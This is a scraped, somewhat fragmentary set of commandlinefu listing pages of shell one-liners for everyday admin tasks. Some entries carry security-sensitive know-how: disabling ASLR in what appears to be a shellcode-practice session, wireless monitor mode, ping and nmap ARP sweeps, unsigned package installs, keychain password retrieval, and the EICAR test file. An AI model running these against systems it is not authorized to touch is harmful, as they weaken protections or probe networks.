outputfile.sorted Using gdiff only select lines that are common between two files This commands will make it easier to select only common items between two files being compared. If your lines start with things other than lowercase a-z, adjust this Regex appropriately. Number of lines in the output has been set to no more than 10000, and should be adjusted as needed. cdrecord -v path_to_iso_image.iso burn an iso to cd or dvd for i in *.tar.gz *.tgz; do tar -zxvf $i; done Uncompress a directory full of tarred files (*.gz) This is a little bash script that will take all files following the *gz pattern in the directory and apply the tar -zxvf command to them. ls -F|grep / pub/ workspace/ No need for -l and the output can be sent directly into another function expecting directory names. git archive HEAD | gzip > ~/Dropbox/archive.tar.gz Similar, but uses tarball instead of zip file alias ll="ls -lh --color=auto" Nice directory listings ‹ First < 279 280 281 282 283 > Last › : ${VAR:?unset variable} sh: VAR: unset variable Works in all shells. Does not require a test. Handles like an assertion. scp -i /path/to/file.pem [local-files] root@[dest-host]:[dest-path] SCP files to remote server using PEM file PS1="\[\033[44;1;37m\]\u\[\033[0m\]@\h\\$ " add a little color to your prompt watch ccache -s Every 2.0s: ccache -s Sat Feb 14 02:11:52 2009 cache directory /home/piyo/.ccache multiple source files 6 ccache internal error 1 Make sure your compiler is using ccache OMG, you are a Gentoo junkie. -funroll-loops-me-harder ;-) http://ccache.samba.org/ ccache is a compiler cache, which speeds up your compiler on successive runs, because it caches intermediate compiled output. dig google.com sudo /usr/bin/dig google.com ; <<>> DiG 9.4.1-P1 <<>> google.com ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11120 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 4 ;google.com. IN A ;; ADDITIONAL SECTION: ;; Query time: 675 msec ;; SERVER: 202.138.103.100#53(202.138.103.100) ;; WHEN: Fri Aug 28 10:06:09 2009 ;; MSG SIZE rcvd: 212 Use dig instead of nslookup It is a much better tool then nslookup for getting information about the any site.It has got better capability too.For reverse information please use the switch "-x" and the ip address. find . -maxdepth 1 -type f -mtime +60 -ls Find files older than 60 days grep -rnA 10 TODO * Show all TODOs and a few relative lines after it. This will recursively go through every file under the current directory showing all lines containing "TODO" as well as 10 lines after it. The output will be marked with line numbers to make it easier to find where the TODO is in the actual file. startx -- :1 Graphic mode for root Just tape: sudo -s your passwd airmon-ng start <interface> <channel> Put the wireless card into monitor mode First you need to instal aircrack-ng Use this command if you need to put your wireless card into monitor mode. interface = wlan0 || wifi0 || ath0 et ceatera... channel = 6, 11, 10, 9 et ceatera find . -type f -exec dos2unix {} + dos2unix recursively evince "$(find -name 'NameOfPdf.pdf')" Find a specific pdf file (given part of its name) and open it This assumes there is only one result. Either tail your search for one result or add | head -n 1 before the closing bracket. You can also use locate instead of find, if you have locate installed and updated setlocal enabledelayedexpansion MS-DOS only: Enable variable expansion from inside of FOR loops with !varname! Usually the MS-DOS cmd.exe processes in the whole FOR loop as one command and expands each var like %varname% in before (except the loop var of course). This command enables expansion of other vars than only the loop var during the FOR loop. The syntax of the var to expand is then !varname! inside the FOR loop. Use command endlocal to end the setlocal command. E.g. (only works from batch files, not from commandline directly): @echo off FOR %%A IN (*) DO ( set file=%%A echo !file! locate munin | xargs rm -r Functions: locate rm xargs adobenospy() { for I in ~/.adobe ~/.macromedia ; do ( [ -d $I ] && rm -rf $I ; ln -s -f /dev/null $I ) ; done } Stop adobe and Flash from tracking everything you do. A safer way to block adobe and macromedia flash tracking and spyware for x in *s.yml; do mv $x `echo $x | sed 's/s\.yml/\.yml/'`; done Singularize all files in a directory Jan Nelson from Grockit came up with this for us when we needed to rename all of our fixtures. grep $'\t' file.txt Grep for a TAB Grep for a TAB . curl -s "http://is.gd/api.php?longurl=[long_url]" http://is.gd/5faqp Shorten url with is.gd using curl, perl // This is description for the old command: Unfortunately we to encode the URL. It can't be done with bash (without building it ourselves) so I used Perl? Example with Perl: curl -s http://is.gd/api.php?longurl=`perl -MURI::Escape -e "print uri_escape('http://www.google.com/search?hl=en&source=hp&q=commandlinefu&aq=0&oq=commandline');"` Example without Perl: curl http://is.gd/api.php?longurl=http://www.google.com Most urls doesn't use & and ? anymore (SEO etc) so in most cases you can just use the simple version. :) find ~/.thunderbird/*.default/ -name *.msf -print0 | xargs --no-run-if-empty -0 rm; find . -name .svn -type d -exec rm -rf {} \; Removing .svn directories without a pipe /sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " " another way to output the IP address' of the system sensible-browser http://www.pythonchallenge.com/pc/def/$(bc <<< 2^38).html http://www.pythonchallenge.com/pc/def/map.html Python Challenge Problem 0 This is the answer to the 0th problem from the python challenge < http://www.pythonchallenge.com/ >. Replace sensible-browser with firefox, w3m or whatever. watch -n1 echo montage input.jpg -auto-orient -duplicate 7 -geometry 500 -frame 5 output.jpg Repeat a portrait eight times so it can be cut out from a 6 Yes, You could do it in the GIMP or even use Inkscape, but the command line is so much easier. This is a new version of a previous command fixing some things complained about. kill -9 $(pidof *program*) Functions: kill pidof kill all processes of a program echo -n "string" | md5sum - :~$ echo -n "string" | md5sum - b45cffe084dd3d20d928bee85e7b0f21 - A useful way to generate the MD5 hash for a string by command line ‹ First < 280 281 282 283 284 > Last › crontab -l | sed -e '$G;$s-$-'"$CRON_MINS $CRON_HOUR"' * * * /usr/bin/command >/dev/null 2>&1-' | crontab - Functions: crontab sed Add a line to crontab using sed I needed to add a line to my crontab from within a script and didn't want to have to write my own temporary file. You may find you need to reload the crond after this to make the change take effect. if [ -x /sbin/service ] /sbin/service crond reload CRON_PID=`ps -furoot | awk '/[^a-z]cron(d)?$/{print $2}'` if [ -n "$CRON_PID" ] kill -HUP $CRON_PID The reason I had CRON_HOUR and CRON_MINS instead of numbers is that I wanted to generate a random time between midnight & 6AM to run the job, which I did with: CRON_HOUR=`/usr/bin/perl -e 'printf "%02d\n", int(rand(6))'` CRON_MINS=`/usr/bin/perl -e 'printf "%02d\n", int(rand(60));'` convert input.png -pointsize 32 -gravity center -annotate 45 "hello, world" output.png draw 45deg rotated text at the center of image find -type f -printf '%P\000' | egrep -iz '\.(avi|mpg|mov|flv|wmv|asf|mpeg|m4v|divx|mp4|mkv)$' | sort -z | xargs -0 ls -1 Functions: egrep find ls sort xargs Show all video files in the current directory (and sub-dirs) /sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " " |egrep -v "^$" 192.168.1.127 to clean up the extra lines for i in `seq 254`;do ping -c 1 192.168.10.$i > /dev/null && echo "$i is up"||echo "$i is down";done Functions: echo ping ping scan for a network and says who is alive or not mdfind "tag:data" > /tmp/data.txt ; zip -r9@ ~/Desktop/data.zip < /tmp/data.txt make a zip file containing all files with the openmeta tag "data" finding all files with the metadata tag "data" using the metadata find command mdfind , writing the list to a temporary file, reading the input for the .zip file from this temporary file. find . -iname \*.[ch] -exec indent "{}" \; Indent all the files in a project using indent This version uses the indent C formatting utility. Doesn't appear to be included with ubuntu. But CentOS and MacOS have it. flipf(){ if [ -f "$1" -a -f "$2" ]; then mv "$1" "$1.$$" && mv "$2" "$1" && mv "$1.$$" "$2" || echo "$!"; else echo "Missing a file: $!"; fi; } Functions: echo mv Function that swaps the filenames of two given files. (Changed to "bartonskis" suggestion.) egrep -ie "<*HREF=(.*?)>" index.html | awk -F\" '{print $2}' | grep :// caff <keyid> Receive, sign and send GPG key id Requires: signing-party (on Debian). Note: you need a working MTA on your machine. alias :q='tput setaf 1; echo >&2 "this is NOT vi(m) :/"; tput sgr0' this is NOT vi(m) :/ Functions: alias echo tput Know when you will type :q in your term instead of vi(m), the alias will chewed you out. For vi(m) users : Add it in your ~/.bashrc Add an "exit" @ the end if you are masochist ;) tune2fs -l /dev/XXXX | grep -w ^"Block size:" root@zappa:/tmp# tune2fs -l /dev/sda6 | grep -w ^"Block size:" Functions: grep tune2fs Check default block size on ext2/ext3 filesystems the result of the command helped a check the Maximum file size and Maximum file system size. EXT3 Exemple: Block size; MAX File size; Maximum file system size 1 KiB; 16 GiB ; 2 TiB 2 KiB ; 256 GiB ; 8 TiB 4 KiB ; 2 TiB ; 16 TiB 8 KiB[limits 1]; 2 TiB; 32 TiB function ends_in_y() { case $(date +%A) in *y ) true ;; * ) false ;; esac } ; ends_in_y && echo ok ok Functions: date echo false true Bash function to see if the day ends in The shell has perfectly adequate pattern matching for simple expressions. VARNAMES='ID FORENAME LASTNAME ADDRESS CITY PHONE MOBILE MAIL' ; cat customer.csv | while read LINE ; do COUNT=1 ; for VAR in $VARNAMES ; do eval "${VAR}=`echo $LINE | /usr/bin/awk {'print $'$COUNT''}`" ; let COUNT=COUNT+1 ; done ; done Functions: cat eval read Create variables from a list of names VARNAMES='ID FORENAME LASTNAME ADDRESS CITY PHONE MOBILE MAIL ...' cat customer.csv | while read LINE ; do COUNT=1 for VAR in $VARNAMES ; do eval "${VAR}=`echo $LINE | /usr/bin/awk {'print $'$COUNT''}`" let COUNT=COUNT+1 Maybe you have a CSV-File with addresses, where you have to process each contact (one per line, write each value to own variable). Of course you can define every variable, but this way is more simple and faster (to write). VARNAMES includes the variable names. Pay attention: the number of names in VARNAMES have to be the same than in the CSV-file the fields. If the CSV is not seperated with ";", you can set the seperator after the awk-binary with -F"_" for example. git shortlog -s | cut -c8- Bob Barker BBlum List everyone who committed to a particular project, listed alphabetically. To list by commits, add -n to the shortlog. pacof -e rlogin Uses dpkg -S or apt-file to find the file you want and shows results in various ways. Available at https://github.com/Pipeliner/configs/blob/master/bin/pacof pacof -xp 'bin/[^/]*mixer' alsamixergui alsa-tools-gui alsa-utils svn co http://simile.mit.edu/repository/crowbar/trunk&& cd ./trunk/xulapp/ xulrunner --install-app && Xvfb :1 && DISPLAY=:1 xulrunner application.ini 2>/dev/null 1>/dev/null && wget -O- "127.0.0.1:10000/&url=http://www.facebook.com" Functions: cd wget Gecko-rendered javascript without a GUI some other options: &delay=1000 &mode=links much more with piggybank as scraper works well with your favourite curses or non-curses http clients PS1='$' bob@ubuntu:~/directory1/directory2/directory3/directory4/directory5$ PS1='$' $ PS1='$PWD$ ' bob@ubuntu:~/directory1/directory2/directory3/directory4/directory5$ Allow to shorten the prompt. Useful when the it is taking too much place. When you need to work a long time in the same directory, which prompt is of the type: bob@ubuntu:~/directory1/directory2/directory3/directory4/directory5$ it is better to hide all this with the command PS1='$' To retrieve a normal prompt, type: PS1='$PWD$ ' sudo pmset -a hibernatemode 1 // if one uses the below function bwayne@luna:~$ hibernate on Hibernate mode on. Mac OS X (laptops ??) only : control hibernation state more easily from Terminal.app sudo pmset -a hibernatemode 1 sets hiberate on. sudo pmset -a hibernatemode 0 sets hibernate off. from the pmset man page: hibernation image at sleep time. On wake (without bit 1 set) OS X will resume from the hibernation image. Bit 0 set (without bit 1 set) causes OS X to write memory state and immediately hibernate at sleep time. I often change my MacBook's sleep state. So I created a function for bash to make it a little easier. hibernate (on | off) "hibernate on" will set your laptop to hibernate if the lid is closed. "hibernate off" will set your laptop to sleep if the lid is closed. ### note : "proper" indentation isn't preserved on the website function hibernate() case "${1}" in on) echo Hibernate mode on. ;; off) sudo pmset -a hibernatemode 0 echo Hiberate mode off. *) echo "I'm sorry Dave, but I can't do that." esac To make things easier, add the proper line in your /etc/sudoers file so that your user may invoke pmset without a password. Here's how mine looks: bwayne luna = NOPASSWD: /usr/bin/pmset Sorry this is so Mac OS specific. for /L %%x in (1,1,16) do mkdir %%x & curl -R -e http://www.kirtu.com -o %%x/#1.jpg http://www.kirtu.com/toon/content/sb%x/english/sb%x_en_[001-070].jpg Use curl on Windows to bulk-download the Savitabhabhi Comic Strip (for Adults) Bulk downloads the comic strip JPG files for the adult cartoon Savitabhabhi, storing each set in it's own folder. Requires manual removal of "non-image" files that maybe created because each series may differ in length. The command can be easily adapted for UNIX flavours. You need to have cURL in your path. security unlock-keychain; security find-generic-password -ga "/Users/mruser/.ssh/id_dsa" 2>&1 > /dev/null password to unlock default: password: "s3kr3tp@ssw0rd!#%" Unlock and access an ssh key keychain entry from CLI This must be run the first time while logged into your Mac desktop, as it will graphically prompt for access permissions. Subsequent uses will not prompt, assuming you select "Always allow". echo 0 > /proc/sys/kernel/randomize_va_space root@localhost:/home/gunslinger/shellcode# cat /proc/sys/kernel/randomize_va_space root@localhost:/home/gunslinger/shellcode# echo 0 > /proc/sys/kernel/randomize_va_space root@localhost:/home/gunslinger/shellcode# ps -C apache o pid= | sed 's/^/-p /' | xargs strace Functions: ps sed xargs mysql -uUser -pPassword -N -s -r -e 'SHOW PROCESSLIST' | grep -cv "SHOW PROCESSLIST" Counts Mysql Threads mysql switches -N skip column names (remove headers) -s silent mode (removes separator chars) -e execute grep switches -c count lines -v invert match (match all except) /bin/sh -c 'find . -name FILENAME -print -exec kill $$ \;' $ /bin/sh -c 'find . -name SomeRandomFile.java -print -exec kill $$ \;' ./path/to/SomeRandomFile.java Terminated Terminate a find after the first match is found. If you know that you want only the first match from a 'find' command, this will terminate the find as soon as a match is found. Recent versions of GNU find have the -quit parameter, which does the same thing as this, so this is only useful if you are stuck with an older version of find. or need to write a backward portable script. I can't take credit for this - I saw it on a chat room where I work and thought it was useful, so am sharing it here both for others, and in case I want to remember it in the future. ‹ First < 281 282 283 284 285 > Last › scrot -e 'mv $f \$HOME/shots/; sitecopy -u shots; echo "\$BASE/$f" | xsel -i; feh `xsel -o`' sitecopy: Updating site `shots' (on ftp.example.com in public_html/shots/) Uploading 2009-03-26-125223_1280x1024_scrot.png: [..............] done. sitecopy: Update completed successfully. Easily create and share X screen shots (remote webserver version) Here $HOME/shots must exist and have appropriate access rights and sitecopy must be correctly set up to upload new screen shots to the remote site. Example .sitecopyrc (for illustration purposes only) site shots server ftp.example.com username user password antabakadesuka local /home/penpen/shots remote public_html/shots permissions ignore The command uses scrot to create a screen shot, moves it to the screen shot directory, uploads it using screen uses xsel to copy the URL to the paste buffer (so that you can paste it with a middle click) and finally uses feh to display a preview of the screen shot. Note that $BASE stands for the base URL for the screen shots on the remote server, replace it by the actual location; in the example http://www.example.com/~user/shots would be fitting. awk '{if (NR % 3 == 1) print $0}' foo > foo_every3_position1; awk '{if (NR % 3 == 2) print $0}' foo > foo_every3_position2; awk '{if (NR % 3 == 0) print $0}' foo > foo_every3_position3 $ awk '{if (NR % 3 == 1) print $0}' blah1 $ awk '{if (NR % 3 == 2) print $0}' blah1 $ awk '{if (NR % 3 == 0) print $0}' blah1 awk extract every nth line. awk '{if (NR % LINE == POSITION) print $0}' foo where "last" position is always 0 (zero). for url in `cat urls `; do title=`curl $url 2>&1 | grep -i '<title>.*'` && curl $url > /tmp/u && mail -s "$title" your-private-instapaper-address@instapaper.com < /tmp/u ; done Functions: grep mail Bulk add urls to your Instapaper account Note, you need to replace the email address with your private Instapaper email address. There are a bunch of possible improvements such as, - Not writing a temp file - Doesnt strip tags (tho Instapaper does thankfully) - Shouldnt require 2 curls perl -ne 'print "$. - $_"' infile.txt 1 - #include 2 - #include 3 - #include 4 - #include 5 - 6 - class Ponto{ This command prints all lines of a file together with is line number. file /music/dir/* | grep -v 44.1 | sed 's/:.*//g' | grep .mp3 | { while IFS= read; do filebak="\"$REPLY.original\""; file="\"$REPLY\""; mv $file $filebak; sox -t mp3 $filebak $file rate 44k; done; }; Functions: file grep mv sed Resample MP3's to 44.1kHz This heavy one liner gets all the files in the "/music/dir/" directory and filters for non 44.1 mp3 files. After doing this it passes the names to sox in-order to re-sample those files. The original files are left just in case. tar cfJ tarfile.tar.xz pathnames Create a tar file compressed with xz. The J option is a recent addition to GNU tar. The xz compression utility is required as well. grep -n . datafile ; wget --load-cookies -c -i Can use a cookie from Rapidshare, as created by the command on http://www.commandlinefu.com/commands/view/1756/download-from-rapidshare-premium-using-wget-part-1 alias foo="!!" create an alias of the previous command !! will expand to your previous command, thus creating the alias "foo" (does not work consistently for commands with quotation marks) httpd2 -M httpd2 -M actions_module (shared) authn_dbm_module (shared) expires_module (shared) include_module (shared) log_config_module (shared) ssl_module (shared) suexec_module (shared) userdir_module (shared) perl_module (shared) security2_module (shared) unique_id_module (shared) Get the information about the Apache loaded modules from command line This is a handy way to find which modules are loaded with Apache web server. tar xfzO .tar.gz | mysql -u root restore .tar.gz on the fly `tar xfzO` extracts to STDOUT which got redirected directly to mysql. Really helpful, when your hard drive can't fit two copies of non-compressed database :) nmap -sP -PR -oG - `/sbin/ip -4 addr show | awk '/inet/ {print $2}' | sed 1d` Today many hosts are blocking traditional ICMP echo replay for an "security" reason, so nmap's fast ARP scan is more usable to view all live IPv4 devices around you. Must be root for ARP scanning. ls -d1a /var/www/*/web | xargs du -hs 98M /var/www/site1.domain.tld/web 11M /var/www/site2.domain.tld/web Functions: du ls xargs Calculate foldersize for each website on an ISPConfig environment Calculate foldersize for each website on an ISPConfig environment. It doesn't add the jail size. Just the "public_html". httpd2 -V Server version: Apache/2.2.4 (Linux/SUSE) Server built: Sep 23 2007 13:40:36 Server's Module Magic Number: 20051115:4 Server loaded: APR 1.2.9, APR-Util 1.2.8 Compiled using: APR 1.2.9, APR-Util 1.2.8 Server MPM: Prefork threaded: no forked: yes (variable process count) Server compiled with.... -D APACHE_MPM_DIR="server/mpm/prefork" -D APR_HAS_SENDFILE -D APR_HAS_MMAP -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled) -D APR_USE_SYSVSEM_SERIALIZE -D APR_USE_PTHREAD_SERIALIZE -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT -D APR_HAS_OTHER_CHILD -D AP_HAVE_RELIABLE_PIPED_LOGS -D DYNAMIC_MODULE_LIMIT=128 -D HTTPD_ROOT="/srv/www" -D SUEXEC_BIN="/usr/sbin/suexec2" -D DEFAULT_PIDLOG="/var/run/httpd2.pid" -D DEFAULT_SCOREBOARD="logs/apache_runtime_status" -D DEFAULT_LOCKFILE="/var/run/accept.lock" -D DEFAULT_ERRORLOG="/var/log/apache2/error_log" -D AP_TYPES_CONFIG_FILE="/etc/apache2/mime.types" -D SERVER_CONFIG_FILE="/etc/apache2/httpd.conf" To find how Apache has been compiled from commandline To get information at your fingertips about Apache compilation. tar jcpf /home/[usuario]/etc-$(hostname)-backup-$(date +%Y%m%d-%H%M%S).tar.bz2 /etc Compressed Backup of the /etc Simple Compressed Backup of the /etc Linux compatible tiger Tiger security scripts *** 3.2.2, 2007.08.28.00.00 *** 20:57> Beginning security report for hob.juniper. 20:57> Starting file systems scans in background... 20:57> Checking password files... 20:57> Checking group files... 20:57> Checking user accounts... 20:58> Checking .rhosts files... 20:58> Checking .netrc files... 20:58> Checking ttytab, securetty, Unix security checker From man tiger : Tiger is a package consisting of Bourne Shell scripts, C code and data files which is used for checking for security problems on a UNIX system. It scans system configuration files, file systems, and user configuration files for possible security problems and reports them. folder=0;mkdir $folder; while find -maxdepth 1 -type f -exec mv "{}" $folder \; -quit ; do if [ $( ls $folder | wc -l ) -ge 100 ]; then folder=$(( $folder + 1 )); mkdir $folder; fi ; done Nothing but files and folder Functions: find ls mkdir mv wc If you have a folder with thousand of files and want to have many folder with only 100 file per folder, run this. It will create 0/,1/ etc and put 100 file inside each one. But find will return true even if it don't find anything ... vim -p `ls *.java *.xml *.txt *.bnd 2>/dev/null` Edit all source files of project with vim, each on separate tab sshostnew () {sed -i "$1d" $HOME/.ssh/known_hosts ; } ssh hostchange know_host improver If you work in an environment, where some ssh hosts change regularly this might be handy... echo "DISPLAY=$DISPLAY xmessage convert db to innodb" | at 00:00 displays a reminder message at the specified time cal | sed -E "2,8s/(^|[^0-9])($(date +%e))( |$)/\1$(echo "\033[0;36m\2\033[0m")\3/g" 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Functions: cal sed Colors a the current date in cal output gvim -u NONE -U NONE Ignore ~/.vimrc when startup gVim curl -o "http://www.citeulike.org/bibtex/user/" Grab your bibtex file from CiteULike. I love CiteULike. It makes keeping a bibtex library easy and keeps all my papers in one place. However, it can be a pain when I add new entries and have to go through the procedure for downloading the new version in my browser, so I made this to grab it for me! I actually pipe it directly into a couple of SED one liners to tidy it up a bit too. Extremely useful, especially if you make a custom BibTeX script that does this first. That way you can sort a fresh BibTeX file for each new paper with no faf. To use just replace with your CiteULike user name. It doesn't download entries that you've hidden but I don't use that feature anyway. ps -u get users process list for file in `cat urls.txt`; do echo -n "$file " >> log.txt; curl --head $file >> log.txt ; done ==log.txt:== /downloads HTTP/1.1 301 Moved Permanently /downloads/ HTTP/1.1 404 Not Found /downloads/downloads/press/logos.zip HTTP/1.1 200 OK Get all the HTTP HEAD responses from a list of urls in a file urls.txt should have a fully qualified url on each line prefix with rm log.txt; to clear the log change curl command to curl --head $file | head -1 >> log.txt to just get the http status ‹ First < 282 283 284 285 286 > Last › for f in *; do mv "$f" "${f/foo/bar}"; done without sed, but has no problems with files with spaces or other critical characters /opt/google/chrome/google-chrome --user-data-dir=$HOME/.config/google-chrome/`zenity --entry --text="Enter a profile name:"` This is interactive in X11. Start a Google Chrome profile with an X11 based interactive prompt Simple Google Chrome profile manager using zenity for profile name input. Place this in a shell script and then use the path to it as the command field in a gnome/kde shortcut. When you start it you will be prompted for a profile to use, if you leave it blank you should get the default profile. ls | sed 'p;s/foo/bar/' | xargs -n2 mv ripit -c 0 --outputdir $1 --nosubmission function ripcd { Rip CD Can be useful to rip a CD. lsof -Pi | grep LISTEN This option is much faster, as it checks only network nodes. SVN Add Recursively This adds all new files to SVN recursively. It doesn't work for files that have spaces in their name, but why would you create a file with a space in its name in the first place? dd if=/dev/hda of=file.img Make an iso file out of your entire hard drive Similar. svn log | grep "$LOGNAME" | grep `date '+%Y-%m-%d'` Find out my commits today in svn expand -t 2 Functions: expand Convert all tabs in a file to spaces, assuming the tab width is 2 Change the number to change the number of spaces. Leaving it out defaults to 8. Leaving out the filename defaults to stdin. And to do it in reverse, you can use the unexpand command. echo 'K5B!C%@NC[4\CMK54(C^)7PP)7}$RVPNE-FGNAQNEQ-NAGVIVEHF-GRFG-SVYR!$U+U*' | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' > /tmp/eicar.com Create an eicar.com test virus Test whether real-time virus detection is working by running this command and checking for eicar.com in /tmp. Requires real-time scanning to be enabled and active on the /tmp directory. If scanning is active, the file should be quarantined/deleted (depending on your settings) moments after running this command. If not, the (harmless) test file should remain in your /tmp directory. find_alternatives(){ for i;do which "$i" >/dev/null && { echo "$i"; return 0;};done;return 1;} Functions: echo return which Pick the first program found from a list of alternatives This function is used to set environmental variables from a list of alternatives depending on what's installed on the system. It returns the first program found in the list. Example usage: export BROWSER=$(find_alternatives chromium-browser google-chrome opera firefox firefox-bin iceweasel konqueror w3m lynx) export EDITOR=$(find_alternatives vim nano pico emacs kate) export PAGER=$(find_alternatives vimpager less most more pg) cat -n $file | tail -n 100 && head -n number-of-lines-you-want-to-keep > newfile Functions: cat head tail removing those pesky malformed lines at the end of a text file.. tells you the number of lines in said file, and then tail the last 100 lines ( or how many are messed up) then u take the total amount of lines and then subract the 100 or so lines u DONT WANT, then do a head -n $new_number and then redirect it to new file.db chkrootkit -x | less Check the backdoors and security.chkrootkit is a tool to locally check for signs of a rootkit. chkrootkit is a tool to locally check for signs of a rootkit,Get it from the website http://www.chkrootkit.org urpmi.addmedia --update google-chrome http://dl.google.com/linux/chrome/rpm/stable/$(uname -m | sed -e "s/i.86/i386/") # urpmi.addmedia --update google-chrome http://dl.google.com/linux/chrome/rpm/stable/$(uname -m | sed -e "s/i.86/i386/") adding medium "google-chrome" http://dl.google.com/linux/chrome/rpm/stable/x86_64/media_info/synthesis.hdlist.cz Functions: sed uname This command adds a urpmi media source called "google-chrome" to the urpmi configuration on Mandriva or Mageia. Needs to be run as root. We specify the option "--update" so that when Google provides a newer version of Google Chrome web browser in their download system then running a system update (eg: "urpmi --auto-update") will result in our copy of Google Chrome getting updated (along with any other Mandriva/Mageia pending updates). To install Google Chrome from this source, use: urpmi google-chrome-stable #install Google chrome web browser echo %logonserver% \\cicciobombadc which domain controller the user currently logged onto The command line can be accessed by using the cmd command which will open a command window with a DOS interface. The command line is a throw back to the early days of computing before there was a Windows interface. find public_html/ -type d -exec chmod 775 {} \; Uses find to find and chmod directories recursively. dd if=10gb of=/dev/zero bs=1M count=10240 HDD Performance Read Test urpmi.addmedia --update google-talkplugin http://dl.google.com/linux/talkplugin/rpm/stable/$(uname -m | sed -e "s/i.86/i386/") [root@localhost mpb]# urpmi.addmedia --update google-talkplugin http://dl.google.com/linux/talkplugin/rpm/stable/$(uname -m | sed -e "s/i.86/i386/") adding medium "google-talkplugin" http://dl.google.com/linux/talkplugin/rpm/stable/i386/media_info/synthesis.hdlist.cz This command adds a urpmi media source called "google-talkplugin" to the urpmi configuration on Mandriva or Mageia. Needs to be run as root. We specify the option "--update" so that when Google provides a newer version of Google Talk plugin in their download system then running a system update (eg: "urpmi --auto-update") will result in our copy of Google Talk plugin getting updated (along with any other Mandriva/Mageia pending updates). To install Google Talk plugin from this source, use: urpmi google-talkplugin # install plugin used for voice and video Google chat via gmail alias path='echo $PATH | tr ":" "\n"' Functions: alias tr Show amigable path change ":" in path for new line and associate word path to var $PATH function setTerm() { PROFILE=${1}; echo "tell app \"Terminal\" to set current settings of first window to settings set \"${PROFILE}\""|osascript; }; OSX script to change Terminal profiles based on machine name; use with case statement parameter matching mogrify -modulate 100,100,70 ../../icons/32x32/*.png use ImageMagik to convert tint (hue rotation) of an icon set directory. for f in *.html; do head -n -1 $f > temp; cat temp > $f; rm temp; done Functions: cat head rm remove the last line of all html files in a directory Some malicious program appends a iframe or script tag to you web pages on some server, use this command to clean them in batch. grep -i '^DocumentRoot' /etc/httpd/conf/httpd.conf | cut -f2 -d'"' echo $numbers | sed "s/\( \|$\)/\n/g" | sort -nu | tr "\n" " " | sed -e "s/^ *//" -e "s/ $//" $ echo "4 2 3 5 2 52 11" | sed "s/\( \|$\)/\n/g" | sort -nu | tr "\n" " "| sed -e "s/^ *//" -e "s/ $//" 2 3 4 5 11 52 Functions: echo sed sort tr Sort a list of numbers on on line, separated by spaces. You can replace "sort -nu" with "sort -u" for a word list sorted or "sort -R" for a random-sorted line (edit: corrected) a=(*); echo ${a[$((RANDOM % ${#a[@]}))]} Here's a bash version using an array. ‹ First < 283 284 285 286 287 > Last › clgrep keyword view this page source to copy perl command. ==================== == make alias $ cat alias.txt # this line is too long to post Command-line-fu perl -MHTML::Form -MLWP::UserAgent -e'$a=LWP::UserAgent->new;push@{$a->{requests_redirectable}},"POST";$u="http://www.commandlinefu.com/commands/browse";$f=HTML::Form->parse($a->get($u)->content,$u);$f->value(q=>join" ",@ARGV);for($a->request($f->click)->content=~m!
    (.+?)(?=
    |)!sg){($s)=m!
    (.+?)\s*(.*?)/>/g;s/"/"/g;s/&/&/g;print"### $s\n$_\n\n";++$n>7&&last}' $ alias clgrep=`cat alias.txt` == grep the archive about "backup" $ clgrep backup ### quickly backup or copy a file with bash cp filename{,.bak} ### infile search and replace on N files (including backup of the files) perl -pi.bk -e's/foo/bar/g' file1 file2 fileN ### backup directory. (for bash) cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash == grep the archive about "wget" $ clgrep wget ### Download all images from a site wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images ### Extract tarball from internet without local saving wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf - ### Echo the latest commands from commandlinefu on the console wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*(.*)<\/code>/, d);print d[1]"\n"} ' ### Get My Public IP Address wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' == grep recently posted $ clgrep ### Launch an Explorer window with a file selected explorer /select,[file] ### Search specified $TEXT1 and Replace that by specified arg ($TEXT2) find "$DIR" -regex "$FILENAME" -type f -print0 | xargs -0 sed -i _`date "+%y%m%d%H%M%S"` -E "s/$TEXT1/$TEXT2/g" ### count IPv4 connections per IP netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n grep the command-line-fu archive httpd -S VirtualHost configuration: 1.2.3.4:80 is a NameVirtualHost Get list of all Apache Virtual Host and which is default for each IP address ps -o euid,egid --ppid `netstat --inet --inet6 -pln|awk '/:80 / { split($7,tmp, "/"); print tmp[1]; }'`|sort |uniq|grep -v EUID Find the uid and gid of your apache process This command allows you to find the effective uid and gid of the Apache process regardless of process name (which can be apache2 or httpd depending on distro). IPADDR=`ifconfig eth0 | grep -i inet | awk -F: '{print $2}'| awk '{print $1}'` IPADDR=`ifconfig | grep -i inet | awk -F: '{print $2}'| awk '{print $1}'` echo $IPADDR 193.122.18.101 Filtering IP address from ifconfig usefule in scripts Useful in scripts while you just need an IP address in a variable. Package Size Status ==============================-==========-=================================== List debian package installed by size You need to install the package wajig. yum --nogpgcheck install "examplePackage" Intall not signed packeges with yum Same as: 1 rpm -ivh package.rpm 2 yum localinstall package.rpm 3 Edit /etc/yum.conf or repository.repo and change the value of gpgcheck from 1 to 0 (!dangerous) dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusGetCurrent method return sender=:1.14 -> dest=:1.368 reply_serial=2 int32 <SAVED STATE ID> Get current pidgin status Returns code of current status of pidgin accounts via dbus interface sudo update-rc.d -f nomemioscript start 99 2 3 4 5 if you want the script run at reboot echo "-------------" >> nicinfo.txt; echo "computer name x" >> nicinfo.txt; ifconfig | grep status >> nicinfo.txt; ifconfig | grep inet >> nicinfo.txt; ifconfig | grep ether >> nicinfo.txt; hostinfo | grep type >> nicinfo.txt; + sander Processor type: ppc970 (PowerPC 970) Functions: echo grep ifconfig type get linkspeed, ip-adress, mac-address and processor type from osx get desired info from machine and pipe it txt file. sudo update-rc.d -f nomescript stop 90 0 6 if 